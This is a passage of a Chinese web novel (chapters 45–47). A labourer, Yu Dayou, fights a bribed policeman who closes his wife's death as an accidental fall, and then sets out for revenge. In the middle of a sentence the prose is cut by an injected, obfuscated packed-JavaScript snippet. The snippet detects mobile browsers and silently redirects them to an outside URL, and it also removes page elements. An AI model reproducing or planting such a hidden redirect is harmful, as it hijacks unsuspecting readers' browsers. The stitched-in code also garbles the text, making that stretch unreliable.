可如果不舍弃,难道他汪明远还要继续过以往那种窘迫卑微的生活吗? 汪明远一路思考着,不自觉地到了家。 担心吵醒了沉睡着的人,汪明远放轻脚步,蹑手蹑脚地进了屋子。 旁边两人浅浅的呼吸声有规律地响着,平常他回家晚,两人的呼吸声总能够给他一种莫大的安稳感。 可今天,他只觉得吵闹心烦,这声音规律却骇人,像临刑前倒计时的指针,骇得他不敢睡过去。 汪明远就这样睁着眼睛,听着耳畔的呼吸声,一夜无眠。 次日,汪明远浑浑噩噩地在学校度过了一整天。 上课时,脑海里两个人的脸时不时地浮现,一会儿是妻子下岗后依偎在他怀里抽泣的模样,一会儿是小家伙被他骂了之后瘪嘴掉泪珠的委屈样子。 两个人总在他脑海里哭,哭得他心烦,哭得他分了心,哭得他连手里的粉笔也握不住,写着写着就掉落在地。 他三魂丢了七魄,木讷地只在讲台上站着,等到他堪堪回神,底下学生们早就已经交头接耳、议论纷纷。 他装作若无其事地捡起粉笔,严肃着一张脸,止住了学生们的讨论,复又转身接着写。 看似与平常无异,只是他歪歪扭扭、逻辑不甚通的板书却出卖了他。 这样的情况持续了好几天,最初汪明远只是偶然愣神,渐渐地,他神游的时间越来越长,出错的次数也越来越多,惹得那个老是针对他的“程咬金”也趁机抓住了他的尾巴,借口“汪老师教学不在状态”来狠狠地公报私仇。 只是他心中有事,就不像以前一样在意。 到了放学时间,汪明远依然浑浑噩噩、心不在焉,他行尸走肉一般走在回家的路上。 一路上,大家行迹匆匆,只顾低头走路,不敢多看一下周围,只因为这几日的关图县不怎么太平。 突然,前方不远处的警察局里,一声又一声的怒吼惊醒了他。 那声音夹杂着暴怒、哀痛、痛恨和不甘心,一声声,如同尖刀一般刺入关图县微秒的空气之中,好像要撕裂这片大地。 汪明远只抬头扫视了一眼,随即将目光移开,他总归不怎么在意的,这样的喊声无非就是因为下岗和安置费的事情,这些日子他已经见得太多。 可在他目光快要移开的那一刻,眼角的余光却精准地定位到一个男人,一个同他岁数相当却比他显老很多的男人。 这个人他应该是认识的,只是不常见,所以脑子里一时间滞住了。 汪明远往前再走了几步,定睛一看,那男人黝黑一张脸,身形不太高大却很壮实,浑身灰扑扑,要是隐入人流中瞬间就分不出来。 因为距离太远,汪明远看不清他脸上的表情,但是他颇具特色的额头却揭示了答案:余大佑。 汪明远对余大佑的记忆不太多,甚至连仅有的一些记忆片段也有些模糊。 上次看到他还是回家给汪父办丧事的时候,他忙上忙下,十分热心。旁人都挑挑拣拣,净干些不累人的活计,可他不挑不躲,勤勤恳恳地干活,连汪父的棺木也是他帮忙抬到墓地。 至于更小一些的记忆就更是不清楚了。 汪明远只记得爷爷曾经拿他教导自己,说余家的小子如何如何可怜,因为家里没钱上不了几天学,几岁就死了娘,他汪明远有这些好的条件自然应当加倍珍惜,刻苦读书走出一条出路,让汪家的祖宗能坟头冒青烟。 汪明远每次只是敷衍一番,照旧玩自己的,只是那时候想不到没过几年爷爷就死了,汪家也跟着没落了。 汪明远不是个好奇心重的人,听着警察局里吵吵闹闹一片喧哗,看着里面互相推搡的人影,他转身就要走。 几声压抑着悲痛、尖利到有些刺耳的声音却再次飘进他耳朵里,这次清晰了。 “你们什么意思?什么叫他妈的证据不足?死了人你们这就不管了?” “同志,你冷静一下。我们没有说不管这件事,只是现在关图县什么情况你也清楚,最近正乱着,人手不够。况且我们已经调查了,人证物证都不充分……” “什么叫不充分!怎么就不充分了?我给你的蓝色布条儿还不算证据充分?村里有人看到耿攀事后穿了那件蓝色外套,衣服都破了……” “余大佑同志,你真是太疯狂了!你胡说八道些什么?你什么时候有给过我什么蓝色布条儿? “什……什么?”余大佑没想到这样的回答,震惊得语无伦次。 他瞪大眼睛,直勾勾地看着眼前比他矮一些的叶全。 叶全快要被他如炬的目光刺穿,他不自然地放低了声音,有些不自在地摸一摸鼻头。 “你的心情我非常理解,但是我们也不能随随便便 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叶全有些狼狈地从地上爬起来,他拍拍屁股和后背上的灰尘,继续叱骂道:“至于你说耿家的邻居,那个老头是吗?你是不是得了癔症了,他什么时候说他看见耿攀那晚上不在家?从头到尾,他都说的是耿攀那晚一直在家,人家还亲自作证了!” 余大佑此时已经被周围的几个人制服,动弹不得。 叶全看眼前的这只发狂的猛兽终于被人制住,忙不迭地一个箭步走向余大佑,“呸!”。 他愤愤然地吐出嘴里的血沫子,一把揪住余大佑破旧的衣领。 叶全的个头比身形一般的余大佑还矮上一些,此刻他仰着脑袋,帽子斜斜地戴在头上,摇摇欲坠,颇有几分滑稽,惹得人群后方一个曾经跟他有过节的人止不住地偷笑。 “我告诉你,你这个臭要饭的,别蹬鼻子上脸给脸不要脸!我好言好语地跟你说话,不中听是吗?还说我们警察不作为?我再告诉你,我们以后真就不管了,这案子啊……” 叶全狠狠地抹了一把嘴角的血沫子,凑近余大佑,十分快意地看着他几近淬火的眼睛,“我已经侦办完毕,打算以意外坠崖结案了。你节哀吧,啊?” 说完,他嘴角微扯,挑衅地拍了拍余大佑的肩膀。 “我□□二大爷,什么意外坠崖,狗屁!” 怒气冲顶,再也忍受不了,余大佑这个常年混迹工地的庄稼汉子有着超乎常人的力气,他一下挣脱了众人的束缚,又是一拳径直向叶全挥舞去。 “啊——我的眼睛!你他妈的真是长了狗胆子!小李,小李,赶紧过来!余大佑妨碍公务,殴打人民警察,寻衅滋事!把他给我关起来!” “姓叶的,你怎么能这样结案?这不是意外,是耿攀,就是耿攀,我知道!你们不抓他,我就自己想办法,我一定要让他付出代价!” 叶全看向走廊尽头匆匆跑过来的小李,对余大佑的怒吼充耳不闻,他一脚踹到小李身上,“慢悠悠的,你去赶集去了?现在才来!赶紧把人给我拷上!” 说完又扶正了脑袋上歪歪斜斜的帽子,背着手走向再次被制服的余大佑,戏谑地瞅着他,“呵,你自己想办法?你能想出什么办法,说来听听?” 叶警官踮起脚,有些费力地一巴掌拍到余大佑头顶上,轻蔑地挖苦道:“你一个干苦力的庄稼汉子都能想出办法了,那我这顶帽子也别戴了,给你戴着算了!” 说罢,又转头接着骂小李:“你还愣着干什么?赶紧把人给我带走!” 余大佑被小李和另一个人一左一右架着,慢慢离开了汪明远的视线。 在被拖拽到走廊尽头的一瞬间,余大佑似乎穿过闹哄哄的人群,看到一张有些熟悉的脸,但是还没等他看清楚,一左一右的两个人就架起他彻底隐入门里。 汪明远若有所思,低着脑袋避开了旁人的视线,小心地躲避迎面而来推推嚷嚷的人群。 他心中不知道在想些什么,更加心事重重地回了家。 45.你得往上找路子 “余大佑,余大佑!” 如今已然是深秋,马路两侧的树叶落了大半,树梢光秃秃地暴露在空气当中。 余大佑走在回医院的路上,脚上的布鞋在警察局的那次撕扯之后已经完全破开,脚趾露在空气中,沾满了树叶腐烂后的脏污。 身后传来一阵高过一阵的喊叫声,余大佑却充耳不闻,好似什么也没有听到,依然机械地走着。 他一身破破烂烂,关押了多天的身体散发出不好闻的气味,双脚在路上沉重地拖行,好像戴着一副脚镣。 身后的人喊了几声,见他也没有什么反应,只好大步跑到他身旁,弯着腰,气喘吁吁,喘得上气不接下气。 或许是压根没有察觉到身旁的人,又或许是察觉到了但是不在乎,余大佑像身赴刑场一样,遵循着内心的指令,一步步地继续往医院的方向走去。 那人没奈何,还没捋顺呼吸,又得跨到他面前堵住他。 余大佑视野里突然出现一双油光锃亮的皮鞋,那是专门给警察们配的鞋。叶全似乎很喜欢,所以每次余大佑看见他,都能看到他穿着。 余大佑木讷地抬起头,却发现眼前的人并不是叶全,而是关押的几天里给他送过饭的人。 每次送饭的时候,他都是一副欲言又止的模样,话到了嘴边又不说出来,最后总是吞进了肚子里,还看着余大佑,摇摇头,又叹几口气离开。 每每如此。 余大佑看着他,不说话。 他在等对方开口。 “喊你半天了都,你怎么不回答呢?快累死我了。”对面的人弯着腰,粗声粗气地一边喘息,一边抱怨。 余大佑还是不说话。 这人喘息了好半天,终于缓了过来,断断续续地说着:“你的事情吧……也不是没有转圜的余地,只是——” “只是什么?”余大佑抬了抬眼,似乎是被骗了太多次不敢再轻易相信人,他声音不带任何多余的情绪,木讷地问对方。 “只是可能比较麻烦。你听我慢慢跟你说啊……” 黑色的皮鞋哒哒哒几步踩上路边的石板,他将余大佑扯到路边的石阶上。 “叶全的意思,其实就是咱们局里的意思,以意外坠崖来结案。但是吧,叶全作为主办这件案子的人,他的意见直接反馈给上面的人,所以他的意见非常重要。你明白吧? “他这人你可能不是很了解,但我跟他多年同事,这人我是非常清楚的。一句话来讲,无利不起早。” 余大佑埋着的头突然抬起来,瞪大了眼睛看向他。 直面着对方的审视,那目光好像散发着热量,灼灼地朝自己扑过来,王更生突然觉得一阵阵地心虚,好像是那点小心思不经意间被对方洞察到。 虽说他是有些小心思,有些不可告人的个人目的,但是方才所言并没有造假,瑕不掩瑜嘛,有什么可心虚的? 王更生很快调整自己的情绪,假装咳嗽了几声,又捡起了刚才的话头。 “一开始,他叶全是好好在查你的案子,但是后来他突然转变了态度,你知道为什么吗?” “为什么?” “你怀疑的那个凶手,耿攀,他家什么情况你也不是不清楚。只要耿家……”王更生将食指和拇指并拢,搓了搓,“加上叶全这人贪财,这案子查不查,怎么查,还不是他叶全一句话的事情。” 王警官有些神秘兮兮地说着,看余大佑还是一言不发,又加了一剂猛药。 “也是巧了,也就是前几天吧,我都快下班了,碰巧在后门看到了耿家的老头子,啧,留着把山羊胡的那个。 “我亲眼看到他从兜里拿出一沓东西给了叶全,叶全左看右看,然后装进了衣服口袋里。第二天你这案子不就变成证据不充分了吗……” 王更生故作高深地说完,状若同情地搂着余大佑的肩膀,只是无人知道是真是假。 等到两人肩膀贴着肩膀时,他才闻到余大佑多天没洗澡的酸臭味道和浓烈的汗臭味,他猛地一顿,瞬间就想收回手臂,但又考虑到自己的筹划,只得皱着眉头忍了。 “你为什么告诉我这个?你想要我做什么?” 余大佑虽说看着呆愣,但是多年混迹工地,以前更是跟着老丈人走南闯北,多多少少还是能看出王更生并不是个正义到仗义执言的人。 王更生只觉得当前的情景非常奇怪,让他感到十分不适。 他又心虚了。 他不明白为什么眼前的这个庄稼汉子能让他多次感到心虚,对方的眼睛似乎能剖开他隐藏的那点小心思,将他不堪的意图都暴露出来。 浸淫职场多年,见过太多的人和事,他到底是有很多经历。 他不由得摸摸鼻子,继续完成自己行动计划的最后几步。 “这段时间关图县有多闹腾你也是看到的,整个县城忙得火急火燎,最缺的就是人手。叶全赶快结了案,县里又多办成一桩案子,还能抽调更多的警力出来,上面的人 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余大佑被王更生粗短的手臂压着身子,埋着脑袋坐在石阶上,弓起的背脊好像压着千斤担子。 他虽一直没有说话,但是王更生的每句话他都听进了耳朵里。 他从小就不是个脑子灵活的人,也因为家里没钱就没能读几天书,但是他懂得人大多无利不起早。 这是他从小在村子里就学会的道理。 村子里的那些人每次需要他爹出苦力给人干活的时候,就会对他和他爹十分友善。而每次一等到活干完了,不再需要他爹了,那些人登时就翻了脸,变了模样。 所以王更生将手臂放上他肩头的时候,他很快就明白对方的意图。 这人不过是借用自己的事情给叶全找麻烦而已,并非诚心想帮自己。 不过他利用自己的目的是卑劣的,但是他给出的信息确是有用的。 难怪……难怪叶全一夜之间就改变了态度,也难怪耿攀家隔壁的庄家老头也突然变了证词。 呵,原来都是为了钱啊…… 王更生看余大佑若有所思的样子,心里顿时有了底气,浑身舒畅。 闹吧去闹,闹到市里面,最好再闹到省里,闹得鸡飞狗跳,闹得他叶全名声大噪! 不然那个畜生永远挡在我前面,永远想要欺压我一头! 只是,王更生的期待并没能实现,事情因为他的私心,朝着他未曾意料到的方向发展…… 46.烂命一条 等到王更生满怀期待地走了之后,余大佑在路边的石阶上坐了很久,他回想着刚才王更生的话,也回想着一个小时前医生告诉他的话语。 “尽早做好准备吧,情况不太乐观。” 医生没有介意他刚从警察局出来的狼狈,也没有介怀他身上散发的难闻气味,拍拍他的肩膀,似乎是可怜他不幸的遭遇。 他余大佑从小父母双亡,从小一个人面对所有的风风雨雨。如今才不过过了几年的安生日子,老天爷却要将他短短几年的幸福夺走。 余大佑又想到年少时候余二刚出事的几个月,他一个人住在破旧的木屋里,看着墙上油灯倒影出的自己的身影,他恍惚觉得那是父亲,是他在陪伴自己,父亲还没死掉,他只是去了很远的地方。 直到那天他舂米舂了满地,终于在捡拾起米粒的时候,老天爷残酷地告诉他:余大佑,以后就只有你一个人了。 如今,十几年过去了,同样的情景又发生了一次。 他余大佑有了妻子,有了女儿,暗自心安于自己不再是孤家寡人的时候,老天爷再次将他拉回孤立无援的状态。 三个月前,他接了一个新的活儿。 他在工地上狠命地干,在灰浆泥土的脏污之中呵呵傻笑,只想多攒钱,给妻子买一个金镯子。 他一个大老粗,也不知道孙英梅是不是喜欢,但是一块儿干活的工友都告诉他,没有哪个女人不喜欢金银首饰。 他不确定孙英梅是不是喜欢,但他很确定她从来没有一个金镯子,所以他笨拙地擅自做了主张,打算在她生日的时候送给她。 但是老天爷又捉弄了他一次。 在他翘首期盼着归期,揣着金镯子要献宝给她的时候,河阴村的孙家婶子火急火燎地跑来了工地。 “大佑,别干了,别干了!快走!你家媳妇和闺女出事了!” 他听到孙家婶子的话,脑袋一阵发懵,登时反应不过来,双脚好像要陷在水泥里面,再也拔不出。 还好孙家婶子在一旁,使劲地拉了他一把,一路上拽着他往前跑。 他跑在路上的时候还愣愣的,脑袋里嗡嗡响,四周好像在地动山摇,他分不清楚周遭是不是地震了,只觉地像一场梦。 孙家婶子是个憋不住话的,她一边拽着余大佑往医院的方向跑,一边跟他大概描述着孙英梅和余珍宝的情况。 一天前,为了度过即将来临的冬天,同村的老邱头上山捡拾柴火,打算放在柴房里多攒一些。 山脚和山腰的柴火已经被村里人捡得差不多了,他捡着捡着就越走越远。 等到他捆好了柴火,捡起砍柴刀打算下山的时候,才发现早就偏离了上山的路线,走到一处茂密的树丛周围。 虽说已是深秋,不比夏天蛇虫乱窜的时候,但要突然出现个熊瞎子之类的也能要了他的命,哪怕他老邱头年轻时候经常往这一片林子里打猎,如今上了年纪,体力不济,也不敢轻率对待。 他看着四周天色也有些晚了,立刻决定原路返回。 转身之间,荆棘丛中一抹亮丽的红色钻入他的眼中。 耳畔突地起了一阵狂风,呼呼地搅动着空气。 他有些发怵,又止不住好奇,他凑近了几步,那红色越发清晰。他蹑手蹑脚地往前再仔细一看,那红色上方还有零零星星的小花。 是一块红色的碎花布。 老邱头登时就觉得不对劲,他萌生出一股不详的预感。 脑子中还有些迟疑,脚下却慌忙往荆棘丛中钻了过去。 果然,是一个人,一个躺着已经昏过去的女人。 他用砍柴刀劈开四周缠绕着的荆棘,踩踏了地上蔓延的杂草,生生开出一条路。 歪歪倒倒地奔到女人面前的时候,才发现地上躺着的不止她一个人。 女人怀中抱着一个三四岁的小女孩儿,她扎着两股羊角辫,昏睡在女人怀里。 老邱头起初没能认出孙英梅的脸来,因她脸上布满了被树枝和荆棘刺伤的痕迹,鲜血血糊糊地覆盖在她脸上。 她几乎被厚重的枯黄落叶和杂乱的树枝条埋得看不见,零星露出的红色碎花布则沾满了干枯的草籽。 那草籽长了倒刺,密密麻麻地扎透了她的衣服。 而她怀里的小女孩儿,跟她一样穿着一件红色的布袄子,只不过小孩的布袄子干干净净,看不见一颗草籽。 老邱头见状,连忙上前探了探两人的呼吸。 而后一个趔趄,一边小跑着,一边呼喊着对面半山腰上还没收工的村民。 “邱六!李四!救命了!救命了!余大佑家的出事儿了!” 可能是孙家婶子的话实在是太密集,语速又太快,噼里啪啦地混杂在呼呼的风声当中,余大佑没能完全听清楚她讲的每个细节,但是大概的意思他听明白了:孙英梅和余珍宝掉进了悬崖。 就像他小时候捏泥人错过母亲的最后一刻一般,这一次,他同样也错过了孙英梅的最后一刻。 余大佑被巨大的恐惧笼罩着,他很听话,他听话地跟着孙家婶子往医院跑。 但是他的听话并没有奏效,也没能避免掉妻子的死亡。 他颤抖着双手推开病房门的时候,他的老丈人孙老爷子正搀扶着痛哭的丈母娘。 这个五十多岁的女人见证自己的宝贝女儿成家,生子,而后又死亡,不过短短的几年光景,女儿的生命戛然而止,只留给她和丈夫白发人送黑发人的大恸。 孙老爷子看着女儿头上蒙着的白布,眼泪止不住地穿过他纵横入鬓角的眼纹。 他害怕自己的情绪让失控的妻子更加难受,抬起洗白了的衣裳袖子擦拭眼角的泪水,却不知为什么,那眼泪珠子像泄洪的河水,任他怎么擦拭也停不下。 余大佑再一看,那病床上不知怎的,铺着一张有些泛黄地白布。 白布很长,从床头一直铺到床尾,白布以下,隐隐约约透出一个人形来。 应该是刚才一路跑到医院的缘故,他的双腿此时格外的酸软,隐约泛出一阵疼痛来,痛得他险些摔在地上。 余大佑推开了孙家婶子的搀扶,他酸软着双腿,狼狈不堪地爬到病床旁边,手一抬起,那粗糙的白布就在他手里变了形。 白布之下,平日总是在圆脸上盈满了笑意的孙英梅,此时满脸淤伤,乌青着一张脸,闭了眼睛。 余大佑瞬间就泄了所有的力气,他再也站不住,狠狠地跌落到地上。 脸颊上不知怎的,一阵阵冰凉,他再一抬手,却是不知何时挂满了的泪水。 余大佑抹了抹脸上的泪,他害怕妻子看见他懦弱的模样,慌忙低下头,恨不得将脑袋埋在病床底下,好叫她连自己一丝的懦弱也看不见。 垂首之间,却不经意间看见孙英梅无力地搭在病床旁的手,那手已然褪去了最后一丝血色,手背上一道道的割痕,深深浅浅,密密麻麻。 余大佑将双手伸过去,紧紧握住妻子冰凉的手,他再次抹去眼角的泪水,终于再也压抑不住,压抑着哭出了声。 他哭着哭着,突然想到一个小时前的归心似箭,随即拭去眼角的泪水,摸向贴在心口的衣服内兜。 那里一片坚硬,是他没能送出的金镯子,是他擅作主张却没能送出的礼物。 余大佑小心翼翼地拿出镯子。 镯子用一张张红布包裹着,里三层,外三层,足以见得他的用心。 他取了镯子,颤抖着双手,颤颤巍巍地给孙英梅戴上。她已经褪去血色的右手在红布和黄金的衬托之下,显得更加惨白。 余大佑握着她的右手和手腕上的镯子,痛哭出声。 一旁的孙家婶子也不忍心侄女的离去,眼泪一把接着一把的擦拭,但又顾虑到余大佑和哥嫂在旁,不敢表现得太过分,在呜咽出声的前一秒,慌忙走出了病房。 孙英梅的母亲此刻已哭没了力气,当场昏了过去。走廊里路过的护士和医生赶紧同孙老爷子一起,一通手忙脚乱地将她搀扶去了另一个病房。 里间就剩下了余大佑,他此时已经平复了许多,只是攥着妻子的右手无声地落泪。 冰凉的眼泪顺着他黝黑的脸,落入妻子更加冰凉的手掌之上,恍惚当中,他好像在妻子的手掌中感受到一丝不一样的触感。 他定睛一看,原来是一缕破碎的藏蓝色棉布…… 在青石板石阶上,余大佑不知道坐了多久,久到他双腿近乎麻木,布鞋边的烟蒂已经积攒了一小堆。 这是他这几个月来新沾染上的毛病。 以前在工地上干活的时候,工友们大多数都抽烟。歇歇停停的时候,他们总是拿出一盒香烟,有时也给他递上一支,不过他没这习惯,总是拒绝,渐渐地他们也知道他不抽烟,不给他递了。 这是各种小商店里都能买到的廉价香烟,便宜但是劲头大,他起初受不了它直冲鼻子的味道,每每咳嗽得快要背过气去。 但是渐渐地就习惯了,要是食指和中指之间不夹上一根,总觉得心里空落落。 他也借着抽烟的功夫往病房外走,不为别的,只是为了不长时间看着病床上昏睡的女儿,不然他心底更加难受。 几天之前被叶全拘留了几天,短暂地被迫戒烟,如今一出来,他马上就又香烟不离手。 余大佑撑着坐麻了的双腿,从青石板上站了起来。 “啪!”脚边的烟头被他恨恨地踢开。 余大佑当即做了一个决定。 余大佑没有再去警察局找叶全,也没有按照王更生所说,去安城“找路子”。 他趁着中午买午饭的功夫,去了路边的一家服装店,换掉身上的脏衣服和旧布鞋,又去老街的一处理发摊子,刮干净胡子,剃短头发。 最后,在回医院的路上,进了医院对面的水果店。 水果店里摆满各种各样的果篮,都是他这个乡下人没有见过的样式。 之前为了给女儿救命,他身上的钱已经所剩不多,但是事情既然到了如今的地步,他还是买了一个小小的果篮,因为里面有女儿余珍宝最爱吃的香蕉。 他将这个小小的果篮轻轻地捧在怀里,一身清爽,干干净净地回到了女儿的病房。 房间里,余珍宝紧闭双眼,头上缠着一圈又一圈的厚重纱布,空隙中间隐隐透出几分粉红色。 昨日,医生轻飘飘的两句话,差不多给她下了最后的通牒。 余大佑将怀里的果篮小心翼翼地放在床边的铁皮柜上,里面的香蕉发出浓烈的气味,若是往日,他的珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260098|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝肯定会像个猴子一样,上蹿下跳地吵闹着要吃。 可现在,她像个被摔碎的破布娃娃,脸上的皮肤越发苍白,白到快要消失不见。 那日,她的母亲用力圈住了她,用自己的身躯环抱着她,两人一起滚下了悬崖。 两天后,孙英梅和她被人发现,那时候两人都还有一息尚存。 但被送到医院后,孙英梅没能撑过半天就没了声息,而她,因着母亲的怀抱抵抗了大部分的外力,情况比孙英梅好上许多。 可还没等到余大佑和孙家人从孙英梅的死亡中缓过气来,余珍宝的情况就急转直下。 第一次接到余珍宝病情恶化通知的那天,余大佑正给妻子办丧事,也心心念念要给妻子和女儿讨个公道。 他得到了叶全的承诺,他劝解他,开导他,安慰他,还叫他务必相信人民警察,务必相信他们的办案能力,希望余大佑能配合他们找到一切线索。 余大佑不疑有他,将旁人告诉他的信息一股脑儿吐露给了叶全,也将全部的希望寄托在他身上,将当日从孙英梅手里找到的一缕碎布条给了他。 本以为叶全会给她们做主,还她们一个公道,谁成想,不但叶全拿了自己给出的信息和证据无所作为,连告诉自己信息的耿家邻居老头也当即反水,连连否认。 余大佑气急败坏,顾不上料理孙英梅没能处理完的后事,也顾不上仍然躺在医院里昏迷不醒的女儿,他愤怒地直奔警察局。 一走到警察局的门口,就迎面撞上刚从里间出外办案的叶全。 叶全远远地就察觉到余大佑的怒火,他向来是个欺软怕硬的人,也害怕在大庭广众之下闹个没脸。 见了余大佑那愤怒的模样,决定回避这场突如其来的冲突,赶紧遁走。 余大佑远远地早就看见了叶全要跑,他三步并作两步,双臂一伸便将他堵了个严严实实。 叶全起初因为心中有鬼,又是在自己上班的地方,人多嘴杂,还有些息事宁人的客气模样。 他倒也不是害怕余大佑闹事,而是如今时局特殊,局里领导正焦头烂额,要是惹了是非,平日倒还好说,如今惹得他老人家发了怒,被抓了个典型,自己的前途还要不要了? 叶全不想起冲突,只想请走余大佑这尊大佛,换一个清净。 但是余大佑早就已经从村长嘴里听到了消息。 村长起初也跟叶全一个鬼样,不断地跟他打官腔,东拉西扯。 但到底是一个村子的人,要是做得不留一分余地也总归不好,最后就拉了余大佑到一个无人看见的角落,偷偷“提点”了他一番。 因而,余大佑这趟来得目的明确,断然不可能有一分让步。 他清楚妻子和女儿能否讨回公道就在这一次,如果按照村长所言,叶全打算按照意外事件来结案,难道凶手耿攀就要逍遥法外了?那女儿醒了自己还怎么跟她交代? 只不过余大佑虽然也走南闯北去过不少地方,见过不少人,但是跟叶全相比,却是个彻彻底底的老实人。 后者常年跟关图县的流氓地痞打交道,见过的腌臜,听过的故事比他余大佑经历的多得多。 叶全见余大佑知道了他打算以意外事件结案,当下就知道再也不能跟前几次一样,三言两语糊弄过对方。 他知道余大佑正在气头上,也知道气头上的人容易冲动,当冲天的怒火化作暴力的行径之时,就是他叶全出手反击的时刻。 他不再三言两语的糊弄,而是四两拨千斤地惹怒对方。 叶全挑拣着最能刺痛人的言语,最能挑战人底线的反问,几个片刻就将余大佑惹得对他动了手。 寻衅滋事,妨碍公务,袭警,几个罪名稳稳当当地扣在余大佑头上,叶全一出手就将余大佑关了好些天。 这几天里,叶全得意于他的聪明和有手段,余大佑则时而忧心时而愤怒,而躺在病床上的余珍宝,在第一次被医生宣布病情恶化之后,情况更加糟糕。 几天后,余大佑一身狼狈一脸落魄地被放了出去,他忧心于女儿的病情,出了警局就朝医院的大门跑去。 “尽早做好准备吧,情况不太乐观。”第二次通知,这是医生对他说的唯一一句话。 余大佑浑浑噩噩,只觉得天崩地裂,他不知道自己这些天的奔忙究竟有什么用,也不知道要如何把自己和女儿救出这场困境,更不知道自己到底做错了什么。 余大佑做好了完全的准备,打算自己讨回公道。 不过就是一条不值钱的烂命,老天爷怎么给自己的,自己怎么还给他! 那天晚上,余大佑最后亲了亲余珍宝的额头,他依依不舍地看着女儿,她小小的身躯躺在发黄的白色床单上,全然感受不到父亲的不舍。 余大佑不敢多看,害怕自己再多看几眼就再也下不了决心。 他心一横,转过身,痛苦地闭上了眼睛。 等到再睁开时,眼中的痛苦一扫而光,只剩下浓重得化不开的狠厉。 “哒哒哒……”胶鞋踩在地板上的声音回荡在医院空荡荡的走廊上,不过片刻功夫,脚步声就消失不见。 余大佑走出了医院的门口,他抬头看天,不知道在想些什么,而后大步离开,彻底隐匿在夜色之中。 47.山坳中的新尸体 “耿老头儿,你今天必须把人给我交出来!别以为我不知道,耿攀指定在里面藏着呢!你叫他给我出来!一个大老爷们儿老躲在自己爹娘身后算什么?啊?难道是在喝他娘的奶呢?” 耿家诊所门前,一个流里流气的灰衣男子大声叫嚷着。 他的大声嚷嚷引得同他一起来的几个人捧腹大笑,他们堵在耿家诊所门前,或叉着腰,或抱着双臂,笑得前仰后合。 深秋的天色亮得太晚,此刻虽然已经是早上七点多钟,天际仍然像是被蒙上一层浓雾,隐约只能看见几个人站在耿家的诊所前面,像是讨债一样,却分辨不清那些人到底是谁。 耿家老头听了他的话,气得直拄着拐杖晃晃悠悠地扶着门框出来,他用拐杖使劲往地上敲了又敲,惹得他自己连连咳嗽。 等到缓过了气,他才费力地扶着门框,没好气地说:“你们要找耿攀,随便你们去哪里找,反正我这里没有!我也不知道他在哪儿!” 方才说话的灰衣男子赶紧呛声:“你不知道?你是他爹你能不知道?都什么时候了,你还跟我说这话?你们村最近有个小媳妇死了,谁不知道啊!” 像是害怕谁不知道一样,男子后退几步,站在诊所前院子的正中间,大声嚷嚷:“是吧!大家都传言是你儿子杀的,连警察都这么怀疑!你儿子现在不见了,是不是畏罪潜逃!你说!” “咳咳……”耿家老爷子刚想要反驳,喉咙间一阵阵发痒,他捂着腰痛苦得只能咳嗽。 不知什么时候,天色亮了许多,村子里的人也都纷纷睡醒,此刻耿家诊所前面围了越来越多的人。 那灰衣男子也不管老头子情况如何,见周围的观众越来越多,他更是得意。 “哎算了,我也不是警察,你们家儿子到底杀没杀人家小媳妇我管不着。但是耿老头儿,我哥平时跟你儿子关系好,我们这伙人都知道。”灰衣男子说完,冲着同他一伙的几个人示意。 叉腰看戏的几个人登时连声附和,“就是!” “他消失的那天跟我说了,他来找耿攀去县城耍一耍。现在我哥不见了,你儿子还涉嫌杀人,他别是杀红了眼,把我哥也害了吧!我哥到底出事没?今天你必须得给我个说法!” 院子外面的人听了他的话,纷纷交头接耳,碍着耿家老爷子还在院子里,到底是压低了声音,不过还是有一些只言片语飞进了耿家老爷子的耳朵里。 “对啊,耿攀怎么不见了,孙英梅不会真是他杀的吧!” “怎么会啊,那天那个带头的警察说证据不足,我亲耳听到的!” “警察说孙英梅的事儿证据不足,现在他哥也消失了,这下子证据不就越来越足了。” 耿家老头越听越生气,他已经为不成器的大儿子擦了太多次的屁股,可以说,一把年纪的他这辈子最大的劫数就是耿攀。 他决定这次不再为那个混账兜底,让那讨债鬼自己解决。 “好了!好了!”耿家老头咚咚咚几声,急促又使劲地敲在青石板上,院子里瞬间安静下来。 “耿登!”耿家老头儿的山羊胡气得乱抖动,转身冲门里一个十几岁的半大小子喊着,“你去,让你哥出来!” 耿登正坐在一个矮桌旁,用筷子夹了一块面饼子要放在嘴里,闻言,他十分不悦,但还是摔了筷子,噔噔噔几步跑进了屋子里。 不多时,耿攀出来了。 这是一个有些瘦削的男子,个头不太高,双颊凹陷,相当憔悴。他双眼之下一大片乌黑,似乎已经多天没有睡好觉。 “嘿!耿老头儿,你不是说你儿子不在家嘛?怎么这下子又从你门里出来了哦?”院门外槐树底下,一个很早就躲在那里看热闹的人喊道。 一个个脑袋都朝他看过来。 耿家老头儿在大家的起哄声和议论声中,脸色红了又白,白了又红,看向身后垂着脑袋失魂落魄的大儿子,狠狠地剜了几眼。 “喂,耿攀!你别站在那儿装死啊,你倒是告诉我,我哥去哪儿了?他不是说他来找你去窑子耍吗,去哪个窑子了你倒是告诉我啊,我也好自己找人去!” 灰衣男子没脸没皮,像谈论家常一样呼喊着。 耿家老头子脸上无光,唯一剩下的脸面都叫大儿子丢了个干净,再也听不得大家的闲言碎语,埋头弯腰躲进了屋。 院子外的几个小媳妇也没想到这几个人如此不要脸,这么腌臜的事儿张嘴就讲,一阵呸呸呸,对着院子里的几个人唾了几口,连连摆手回家。 耿攀好像没有听到,他讷讷地站着,半晌才抬起头看向灰衣男子,“你哥没来找我,我也没有约他出去耍,你去别处问吧,我不晓得他去哪儿了。” 说完就低着头,转身进了门。 几秒钟后,里面“啪嗒”一声,耿家诊所上了锁,今日也不营业。 “呸!”灰衣男子恼怒地咣咣砸门,不得入之后,又朝着耿家诊所的门上唾了一大口。 他没再做过多纠缠,叫了同他一道要人的几个同伴,扯嘴皮子吹了吹他多天没洗的头发,双手插兜,在众人的视线中无畏无惧地走了。 而他之所以这样轻易的走人,是因为他压根也没想诚心找他哥,而且他哥也从来不会告诉家里人自己的行踪。 